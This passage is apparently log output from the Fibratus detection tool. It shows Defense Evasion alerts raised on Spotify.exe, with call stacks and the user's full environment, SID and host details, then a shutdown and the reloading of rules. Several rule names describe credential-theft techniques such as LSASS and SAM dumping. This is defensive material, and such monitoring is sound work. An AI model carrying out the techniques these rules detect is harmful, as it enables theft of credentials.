C:\WINDOWS\system32\ntoskrnl.exe!KeUserModeCallback+0x299|0xfffff8018110ef29 C:\WINDOWS\System32\win32kfull.sys!NtGdiExtTextOutW+0x9b9|0xfffff80180fdfd20 C:\WINDOWS\System32\win32kfull.sys!xxxWindowEvent+0x1270|0xfffff80180fdf4a4 C:\WINDOWS\System32\win32kfull.sys!xxxWindowEvent+0x9f4|0xfffff8018123979d C:\WINDOWS\System32\win32kfull.sys!xxxDesktopThread+0xe2d|0xfffff801811f509e C:\WINDOWS\System32\win32kfull.sys!zzzSetDesktop+0x3fe|0xfffff801812290d8 C:\WINDOWS\System32\win32kfull.sys!WakeRITForConfigSwitch+0x1d18|0xfffff80181138071 C:\WINDOWS\System32\win32kfull.sys!NtUserSetFocus+0x4a1|0xfffff80180fd795b C:\WINDOWS\System32\win32kfull.sys!PostIAMShellHookMessageEx+0x418b|0xfffff80180fd7ac8 C:\WINDOWS\System32\win32kfull.sys!PostIAMShellHookMessageEx+0x42f8|0xfffff80181120744 C:\WINDOWS\System32\win32kfull.sys!NtUserShowWindow+0x6d4|0xfffff80181267526 C:\WINDOWS\System32\win32kfull.sys!PsW32ScreenSaver_Show+0x966|0xfffff8018120b427 C:\WINDOWS\System32\win32kfull.sys!xxxEndMenuLoop+0x2837|0xfffff80181117bfa C:\WINDOWS\System32\win32kfull.sys!EditionIsGpqForegroundAccessibleExplicit+0x1eda|0xfffff801810e70df C:\WINDOWS\System32\win32kfull.sys!NtUserShellHandwritingUndelegateInput+0x3cf|0xfffff80180fcb8bd C:\WINDOWS\System32\win32kfull.sys!NtUserMessageCall+0x18d|0xfffff80166961362 C:\WINDOWS\System32\win32k.sys!?|0xfffff801d52b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffa966a1344 C:\Windows\System32\win32u.dll!NtUserMessageCall|0x7ffa97d83f5b C:\Windows\System32\user32.dll!GetSystemMetrics|0x7ffa97d83df4 C:\Windows\System32\user32.dll!GetSystemMetrics|0x7ffa933eda8d C:\Windows\System32\uxtheme.dll!OpenThemeData|0x7ffa93426d4a C:\Windows\System32\uxtheme.dll!GetThemeStream|0x7ffa933ef8df C:\Windows\System32\uxtheme.dll!OpenThemeData|0x7ffa933ef171 C:\Windows\System32\uxtheme.dll!OpenThemeData|0x7ffa97d855aa C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ffa23a0bff0 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffa1d15157f C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffa1d1506f8 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffa1d4406d3 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1d44008f C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa97d87cf6 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffa97d877bc C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffa83453a08 C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.5074_none_3e0d6f78e32fd63f\comctl32.dll!DefSubclassProc|0x7ffa83453938 C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.5074_none_3e0d6f78e32fd63f\comctl32.dll!DefSubclassProc|0x7ffa2a52d9ef C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffa2a52db23 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!RunWinMain|0x7ffa83453a08 C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.5074_none_3e0d6f78e32fd63f\comctl32.dll!DefSubclassProc|0x7ffa834537df C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.5074_none_3e0d6f78e32fd63f\comctl32.dll!GetWindowSubclass|0x7ffa97d87cf6 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffa97d8584d C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ffa1cc37933 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_time_from_basetime|0x7ffa1cc373fd C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_time_from_basetime|0x7ffa1f1682f3 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1cc36ff1 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_time_from_basetime|0x7ffa1d3232ee C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1cc61b2f C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_time_from_basetime|0x7ffa1b94668b C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_zip_reader_create|0x7ffa1b92ba83 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_zip_reader_create|0x7ffa2a3bc6a6 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!?|0x7ffa2a3ba97e C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!?|0x7ff7620afa2a C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe!?|0x7ff76218a492 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe!GetHandleVerifier|0x7ffa97f6e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa99348d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-12T09:24:40+01:00 level=info msg=sending alert: [Direct syscall from a stomped module]. Text: Event(s): + Seq: 296888 + Pid: 11744 + Tid: 6400 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-12 09:24:40.268543 +0100 CET + Params: base_address➜ 7ffa8d580000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-06-17 18:11:44 +0000 UTC, cert_not_before➜ 2025-06-19 18:11:44 +0000 UTC, cert_serial➜ 3300000519daddaa8bdc44b292000000000519, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 3076182, default_address➜ 7ffa8d580000, file_path➜ C:\Windows\System32\CoreUIComponents.dll, image_size➜ 3026944, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11744, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: evasions: [direct_syscall], rule.name: Direct syscall from a stomped module, tactic.ref: https://attack.mitre.org/tactics/TA0005/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 11744 + Ppid: 4496 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_11744_UENRECTLQPVAGXEM COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T09:24:42+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 299229 + Pid: 11744 + Tid: 6400 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-12 09:24:42.5043266 +0100 CET + Params: base_address➜ 7ffa88840000, checksum➜ 399422, default_address➜ 7ffa88840000, file_path➜ C:\Windows\System32\UIAnimation.dll, image_size➜ 339968, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11744, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 11744 + Ppid: 4496 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_11744_UENRECTLQPVAGXEM COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801d4f09ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801d4e56899 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801d4f107d2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801d550c048 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801d550bcbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801d550309f C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5c4f|0xfffff801d54fce35 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801d54fc40d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801d52b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffa2c9f5014 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!DumpHungProcessWithPtype_ExportThunk|0x7ffa2c8abd7a C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffa2c8ac203 C:\Users\nedo\AppData\Roaming\Spotify\chrome_elf.dll!GetHandleVerifier|0x7ffa993ad9eb C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa993ad42e C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa993b24cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa993b039d C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa993afdb4 C:\Windows\System32\ntdll.dll!LdrGetDllHandleByMapping|0x7ffa9938a510 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa9938a190 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa99354fb0 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa96c6dd0f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa98f33ad5 C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa98f335c3 C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa9900ce61 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffa98f412d7 C:\Windows\System32\combase.dll!CoFreeUnusedLibrariesEx|0x7ffa98f40d89 C:\Windows\System32\combase.dll!CoFreeUnusedLibrariesEx|0x7ffa98ea95d5 C:\Windows\System32\combase.dll!?|0x7ffa98fbb81d C:\Windows\System32\combase.dll!HSTRING_UserSize64|0x7ffa98ea4c77 C:\Windows\System32\combase.dll!?|0x7ffa98fb8b57 C:\Windows\System32\combase.dll!Ordinal166|0x7ffa98fd199d C:\Windows\System32\combase.dll!CoUnloadingWOW|0x7ffa9900d431 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffa98fd389e C:\Windows\System32\combase.dll!IsErrorPropagationEnabled|0x7ffa98fbb81d C:\Windows\System32\combase.dll!HSTRING_UserSize64|0x7ffa98ea804e C:\Windows\System32\combase.dll!?|0x7ffa98fbb81d C:\Windows\System32\combase.dll!HSTRING_UserSize64|0x7ffa98ee93fe C:\Windows\System32\combase.dll!RoOriginateErrorW|0x7ffa98ee82bb C:\Windows\System32\combase.dll!RoOriginateErrorW|0x7ffa98f767e0 C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffa6a93f46b C:\Windows\System32\directmanipulation.dll!?|0x7ffa1cf482a8 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!IsSandboxedProcess|0x7ffa1cf47e3c C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!IsSandboxedProcess|0x7ffa1da3ef58 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1da3f643 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1f176add C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1f2d5f3a C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1f16826d C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1cc36ff1 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_time_from_basetime|0x7ffa1d3232ee C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!GetHandleVerifier|0x7ffa1cc61b2f C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_time_from_basetime|0x7ffa1b94668b C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_zip_reader_create|0x7ffa1b92ba83 C:\Users\nedo\AppData\Roaming\Spotify\libcef.dll!cef_zip_reader_create|0x7ffa2a3bc6a6 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!?|0x7ffa2a3ba97e C:\Users\nedo\AppData\Roaming\Spotify\Spotify.dll!?|0x7ff7620afa2a C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe!?|0x7ff76218a492 C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe!GetHandleVerifier|0x7ffa97f6e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa99348d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-12T09:24:42+01:00 level=info msg=sending alert: [Direct syscall from a stomped module]. Text: Event(s): + Seq: 299229 + Pid: 11744 + Tid: 6400 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-12 09:24:42.5043266 +0100 CET + Params: base_address➜ 7ffa88840000, checksum➜ 399422, default_address➜ 7ffa88840000, file_path➜ C:\Windows\System32\UIAnimation.dll, image_size➜ 339968, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11744, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: evasions: [direct_syscall], rule.name: Direct syscall from a stomped module, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11744 + Ppid: 4496 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_11744_UENRECTLQPVAGXEM COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T09:27:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T09:27:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T09:27:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T09:27:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T09:27:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 